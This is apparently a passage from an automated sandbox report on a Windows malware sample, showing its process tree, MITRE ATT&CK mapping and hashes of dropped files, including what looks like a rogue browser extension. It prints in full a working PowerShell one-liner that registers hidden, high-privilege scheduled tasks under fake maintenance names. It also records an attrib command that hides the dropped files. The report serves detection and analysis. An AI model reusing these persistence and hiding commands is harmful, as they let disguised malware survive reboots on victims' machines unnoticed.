-LiteralPath \"$env:PROGRAMDATA\GameSavings\Windows\win_libraries\updater.ps1\""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3092
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell $triggerAtStartup = New-"scheduledtask"Trigger -AtStartup; $triggerAtLogon = New-"scheduledtask"Trigger -AtLogon; $dt = (get-date).AddDays(30).AddMinutes(3); $stt = New-"scheduledtask"Trigger -RepetitionInterval (new-timespan -days 30) -at $dt -Once; $stt.Repetition.StopAtDurationEnd = $false; $settings = New-"scheduledtask"SettingsSet -Hidden -StartWhenAvailable -AllowStartIfOnBatteries -ExecutionTimeLimit 0 -DontStopIfGoingOnBatteries -DontStopOnIdleEnd; $principal = New-"scheduledtask"Principal -RunLevel Highest -GroupId 'S-1-5-32-545'; $principal2 = New-"scheduledtask"Principal -RunLevel Highest -UserID "$env:USERNAME" -LogonType S4U; $action = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\DiagnosticsNET\update.vbs\"'; $action2 = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\SdkWin\updater.vbs\"'; $action3 = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\WinPackages\update.vbs\"'; $action4 = New-"scheduledtask"Action -Execute "powershell.exe" -Argument '-ExecutionPolicy Bypass -WindowStyle Hidden -File \"%PROGRAMDATA%\UpdatesWin\updater.ps1\"'; $action5 = New-"scheduledtask"Action -Execute "powershell.exe" -Argument '-ExecutionPolicy Bypass -WindowStyle Hidden -File \"%PROGRAMDATA%\UpdatesWin\update.ps1\"'; $task = New-"scheduledtask" -Action $action -Trigger $triggerAtLogon -Principal $principal -Settings $settings; $task2 = New-"scheduledtask" -Action $action2 -Trigger $triggerAtLogon -Principal $principal -Settings $settings; $task3 = New-"scheduledtask" -Action $action3 -Trigger $triggerAtLogon -Principal $principal -Settings $settings; $task4 = New-"scheduledtask" -Action $action4 -Trigger $stt -Principal $principal2 -Settings $settings; $task5 = New-"scheduledtask" -Action $action5 -Trigger $stt -Principal $principal2 -Settings $settings; unregister-"scheduledtask" -TaskName 'NetworkDiagnosticService' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'SystemCacheMaintenance' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'IEPackages' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'GameSettingsDLC' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'GameUpdaterDLC' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'GameSavings' -Confirm:$false -ErrorAction SilentlyContinue; register-"scheduledtask" 'NetworkDiagnosticService' -InputObject $task; register-"scheduledtask" 'SystemCacheMaintenance' -InputObject $task2; register-"scheduledtask" 'IEPackages' -InputObject $task3; register-"scheduledtask" 'GameSettingsDLC' -InputObject $task4; register-"scheduledtask" 'GameUpdaterDLC' -InputObject $task5;
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5660
  - - C:\Windows\SysWOW64\attrib.exe
      "attrib" +h +s "C:\ProgramData\Features\*.*" /s /d
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2564
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\Features\update.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2916
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://getadblocktag.com/v1/s/t/info?a=ins&sub=ADHWWZX&n=Game&bucket=S13SPB2Z_2026-02X&u=9uzjwtaazesrftaowxmxdugedrmvsiex
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2832
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x344,0x7ffd5801c188,0x7ffd5801c194,0x7ffd5801c1a0
        5⤵
        
        PID:2256
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1832,i,14032267202358575813,12367281842172488268,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:5612
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1660,i,17668822235742811098,4123891919961710132,262144 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:2
        5⤵
        
        PID:5436
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2136,i,14661769986542521398,4553149127285617493,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=2632 /prefetch:13
        5⤵
        
        PID:2116
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3516,i,8339972656882866876,17067988081367801479,2097152 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:1
        5⤵
        
        PID:4000
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3540,i,17548944437029536885,12192514190582694743,2097152 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:1
        5⤵
        
        PID:2008
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4912,i,16581662606969256884,14042561070327289023,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=4944 /prefetch:14
        5⤵
        
        PID:1112
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4920,i,11906891268017777697,1192749483436005614,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=4984 /prefetch:14
        5⤵
        
        PID:5092
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5744,i,627421389281921721,6914119803742727120,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=5784 /prefetch:14
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5896
      - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1128
        6⤵
        
        PID:3168
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5824,i,9685560580501778486,8956591253216850317,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=5840 /prefetch:14
        5⤵
        
        PID:4280
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5824,i,9685560580501778486,8956591253216850317,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=5840 /prefetch:14
        5⤵
        
        PID:2712
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6136,i,1563103856734520163,15343486654166504336,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=5880 /prefetch:14
        5⤵
        
        PID:4160
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6212,i,4845689733605866525,12109126214570873094,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=6236 /prefetch:14
        5⤵
        
        PID:900
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6216,i,13979113340436572426,10831859660314426723,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:14
        5⤵
        
        PID:5036
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6252,i,3808993793516314183,12546834870238133643,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=6040 /prefetch:14
        5⤵
        
        PID:1632
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6248,i,12457711671754009973,3141997995442776549,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=5884 /prefetch:14
        5⤵
        
        PID:4008
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5024,i,5760093204500624080,3061814367773870451,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=5176 /prefetch:14
        5⤵
        
        PID:2924
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5668,i,16989948020601387834,17071450261883455523,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=4920 /prefetch:14
        5⤵
        
        PID:2060
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5056,i,15998053454731678424,4759475213583008902,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=5032 /prefetch:14
        5⤵
        
        PID:4828
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5652,i,3978024267843179282,3636850438391297656,262144 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=6248 /prefetch:10
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:960
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5028,i,3714809971315173053,15285524541670863972,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=6112 /prefetch:14
        5⤵
        
        PID:2620
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5616,i,12472224144245666337,383141023684120526,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:14
        5⤵
        
        PID:2636
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4744,i,16997762048452460611,946639660963958348,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=5792 /prefetch:14
        5⤵
        
        PID:3512
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5416,i,12850366826078912464,12335789706646824373,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=6096 /prefetch:14
        5⤵
        
        PID:5948
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5808,i,8066367872124157871,5586921088102660824,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:14
        5⤵
        
        PID:5016
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1156,i,10762495980345105960,11972839070482083053,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=5280 /prefetch:14
        5⤵
        
        PID:1592
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3448,i,10923280058390770522,16364257233290553464,524288 --field-trial-handle=2192,i,17553176136754004632,15249731687158913045,262144 --variations-seed-version --mojo-platform-channel-handle=3348 /prefetch:14
        5⤵
        
        PID:5500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 5216 -ip 5216
1⤵
PID:4288

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3940

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1564

C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2104.12721.0_x64__8wekyb3d8bbwe\LocalBridge.exe
"C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2104.12721.0_x64__8wekyb3d8bbwe\LocalBridge.exe" /InvokerPRAID: Microsoft.MicrosoftOfficeHub notifications
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:5880

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

configuration.tmp

Path C:\ProgramData\DiagnosticsNET\configuration.tmp
Size 2KB
SHA256 868f30d544d375eb85b51f0b0e9c95a466505cfba19b1d31103da5067e968d0c
MD5 0a011fde5ef12a6aedd47d625852fda3
SHA1 2e10b5f268c94ab48bf30074bc346cbf513eaec2
SHA512 6b6755f1401b46a8be216c1220b74c02567df409af718b1980f2ac99e87963b0077fc3fe9413155c9e73eb30da3e538f2e40fee35e1e6b00990324864d7b1de6
TLSH
T10B41DC446E06AA6299B21B35D5C612BCFB1A103F472E0160B6AD17946FF6036CA6CF4C
MD5 SHA1 SHA512 TLSH

Submit Download

update.tmp

Path C:\ProgramData\DiagnosticsNET\update.tmp
Size 636B
SHA256 484b1303209287c51520b6b2952f34b8f21085f51a9c9de1d21a8551fc850e69
MD5 bf7546635574ef69ad6aea52341f2ed1
SHA1 f5e0a5515e81872365e1e33112452c0fc9f5a2e8
SHA512 32bde069a96b7354c5f013aeb9bbabf84aa5e27cb69f07e04be8c4d366d7059521852f2da7631f80f18d885f4ff8c453d99668745079d326e60145b55f180bf8
TLSH
T174F02695BD8AE231B4568B0A4276C9AC075501D9231AE4283AC556C43C26B888FB038A
MD5 SHA1 SHA512 TLSH

Submit Download

update.tmp

Path C:\ProgramData\Features\update.tmp
Size 1KB
SHA256 ee50f0f2f925cc1221c2d9f0582b3c35f2520ff191d9c55b652b3342a5c73d6d
MD5 a27e6fa62fe9a021ea9b8743ac1c4f25
SHA1 5ffbf5e69895916e94bfb6bed0542b9660c68a5a
SHA512 f9e3913fa529104ff7e169abf39239a8e88c837f20ede5a904301848be8893fc6c7638079a233e0d4e5a2f13f0f47cad2a28edd91b73e3dc5fe8a526d88a77d6
TLSH
T1CF312503F44088E691729F69B6C6164AFE59057F820A13017FBCC34F6FB083E9BD9968
MD5 SHA1 SHA512 TLSH

Submit Download

messages.json

Path C:\ProgramData\Features\uzjwtaazesrftaowxmxdugedrmvsiex\_locales\en\messages.json
Size 79B
SHA256 3d1f24feae65b13919ce27d72dbf37d2445ebba4c485b1d2f4582bc1858a34ed
MD5 e7909dcc8014f623d623ff3d8535c7d7
SHA1 2e8dc1d113df9aabcfba5bfcc6bd66e0bf688567
SHA512 e3a249608313f832125f7842a42914afaca276bb62a0c25a44f6c2eefa867a1748a608180aa6e79379daa0dffdcd34a45c3744776a7628373fceb11b18511bfb
TLSH
T1F9A00294D0B52D2B034F12BF30ED7004B6F04BE240583C6FF2BA091D6B99C5105EE398
MD5 SHA1 SHA512 TLSH

Submit Download

icon.png

Path C:\ProgramData\Features\uzjwtaazesrftaowxmxdugedrmvsiex\icon.png
Size 2KB
SHA256 481b23eeff4060874cbc24281dad4f42b5326ded9e06a5b547c9b6dbc63d6245
MD5 5f62e1708f9891439ed643945fd4752f
SHA1 d9f8adccc718e9555dbf968912d53db909479679
SHA512 34206a35f31e2496caa1ec05a41e2c7b12d7572c9433f6dc099a1da9e489250a3dcc84c3960da8fb97fe5e1df199a59af40b4b8709bf181ca0bf966e0894ac7d
TLSH
T165511DD64170DB9CCB63D766876A335A4730F5FBC941125E819F957924C116D330EC17
MD5 SHA1 SHA512 TLSH

Submit Download

icon2.png

Path C:\ProgramData\Features\uzjwtaazesrftaowxmxdugedrmvsiex\icon2.png
Size 4KB
SHA256 38e9c3c929f36ec22beb6a7562a6272816d226c1dff2818499413a91912ab55d
MD5 2c9317bbdf91f7e4fe7d785e45f47210
SHA1 02e2166007e5d8628310800854121b9afbe95723
SHA512 56d9ea681353eafebf1ad9f0d3f7ceaaf5ba56fef58f6020b7cb743edaa0d903ed760169d29ced849c1cc0fd7e2cb766eccf89e2f8af4d251cf92c40177d05e5
SSDEEP 96:WS/knmWIePPOfnNVHNOuH+AEgdixP8nW1NxfnbvQc:WS/knsnNVt11EgK8wLvbvQc
TLSH
T10B915B266E552D9191CCF92239E38647573393D8DEC2968FECCE4C472834231B8AD4E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

interface.html

Path C:\ProgramData\Features\uzjwtaazesrftaowxmxdugedrmvsiex\interface.html
Size 1KB
SHA256 75c49ec78f92a8c7e1f98c579f693bb1a3a2fb1c4e695a1ed5912bfbb33f5a86
MD5 654bd04df4f45643537d9c5e0fd3d351
SHA1 ad180ca3831f29284c647096de0ddd632f8bb102
SHA512 e71017186ba40e1b7a732d1bd3b876344d90a48779e09e92decc250a79e6ee5387bea8ca17fa77a193e60ec23163026d56b18c149949b960c36588c8ef571584
TLSH
T14F21C00695C02803707BC37887A18211FFB60107C3021239799DF26B0FB7550C9DBBA8
MD5 SHA1 SHA512 TLSH

Submit Download

interface.js

Path C:\ProgramData\Features\uzjwtaazesrftaowxmxdugedrmvsiex\interface.js
Size 1KB
SHA256 7f9c676741a178b703e32515abbffc422f7d0e58a745e97b2c05e0f0717cbed5
MD5 833ef87f0265c87a2cdb6600a0ed39cb
SHA1 c10cccff915578b9d85687a97df4b834f395e7c7
SHA512 fd47d272d0d8503c4d351fd538729113438d06dd57774a3c8bbd4ce9376ab3296be476bf7e2d018f57e60a54e7a433c5847c5465bc9a8691f020b85d86a5372d
TLSH
T1DD219C5A7141313A8AF7626157938C66FF3910C768420A22319CD5450F375C4C1FBEEF
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\ProgramData\Features\uzjwtaazesrftaowxmxdugedrmvsiex\manifest.json
Size 7KB
SHA256 b4cbc6bc3025a41fb8003f4f8f8d859576f009827554cb99d07c892572e7b2c1
MD5 eb905bf14a8a0c383e50c8422fbf3d60
SHA1 d678e59cec2ed35357a82a84186005479b1b27ab
SHA512 c60ffe336c0439080477828a78399fb6d3682daf29f7fb74e40f70581fed1795745c13015400b0f91c9bc4b03e6d38fe346842f9fdd714eca7e1021e3f1141a3
SSDEEP 48:/sVzydyu6F0TiqB4IZffZHHjpdOES8ylgkcr:/Tjd5/9U+
TLSH
T14AF112EBAA18892612E4C5F0A431B31CB72315CFACC875C6BB4D88795FA8DEF00655DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

script.js

Path C:\ProgramData\Features\uzjwtaazesrftaowxmxdugedrmvsiex\script.js
Size 296B
SHA256 90fd9b7f029dd2968c69a03d98fd8f86dd529b0c507898e687abf39807eaed2e
MD5 5c38641814eaf858f45080f8d3bb0a0a
SHA1 f11cd28229415a4f868832abc57ab276bdb5e561
SHA512 1f3f862c40cc06ea6a5f1687c9776838c0b771167e44dcef38d1dacd01f01006c871fbd8951b8121225efa0175b168e5767f69c65c4615fd276bf56db064398f
TLSH
T1F7E0C23F59675A344E2301867531E6D43D7A10261163E61E688CE81D9F18FC50C28D90
MD5 SHA1 SHA512 TLSH

Submit Download

security.js

Path C:\ProgramData\Features\uzjwtaazesrftaowxmxdugedrmvsiex\security.js
Size 31KB
SHA256 b63078647279770a6ee5e73c5b78f6958acfa5cca56951dc2807f2ddf601f9db
MD5 b4020d683acf7468ba58f0025848891b
SHA1 2b377ef71fd3cc6840d4f72d3e31dd9976246a42
SHA512 f7eb1f2483f6e6cfaf332ddd0342f613e245b2fff51316ed0c8fdbdddaa63da159e3cab0ab57f94b4569477e36e3710a73f7da55a083028afcad2f4640c865b9
SSDEEP 768:GHqX3W5r4SL+7OFEKNkEpTyWJezPSyngKyCE:GKcrm+k1WwzKf
TLSH
T1BCE2736A25F7183609A7706DBB5BB0413230E01B3589CC9C7E4EA6506F4C6798AB4FEC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

web_accessible_resource.js

Path C:\ProgramData\Features\uzjwtaazesrftaowxmxdugedrmvsiex\web_accessible_resource.js
Size 1KB
SHA256 2a6ad4faebce67af0c5751780e10bb5ff676195445e0418a20174b6033a2638d
MD5 dcc592cf6d40300bd8e61e650438dcda
SHA1 d2b2627dfe836c838f7143e8bad4b7da3a160454
SHA512 9600aa79fb92fe6d3a5f01972c2aa43022f300b193cd6ab430a5ce67589594d0242c22262c7e6355a86efde8be827eacdfe459523d595583c5ccf9ab4a0d1164
TLSH
T14031AC781C2B853259BB366E5A36F20DFB5621272451E3563ECC840C1FB4F924C45EC8
MD5 SHA1 SHA512 TLSH

Submit Download

updater.tmp

Path C:\ProgramData\GameSavings\Windows\win_libraries\updater.tmp
Size 3KB
SHA256 aef643e21ad31250a5047833d3529a48729d01b9a7de30aea706167cca2b681b
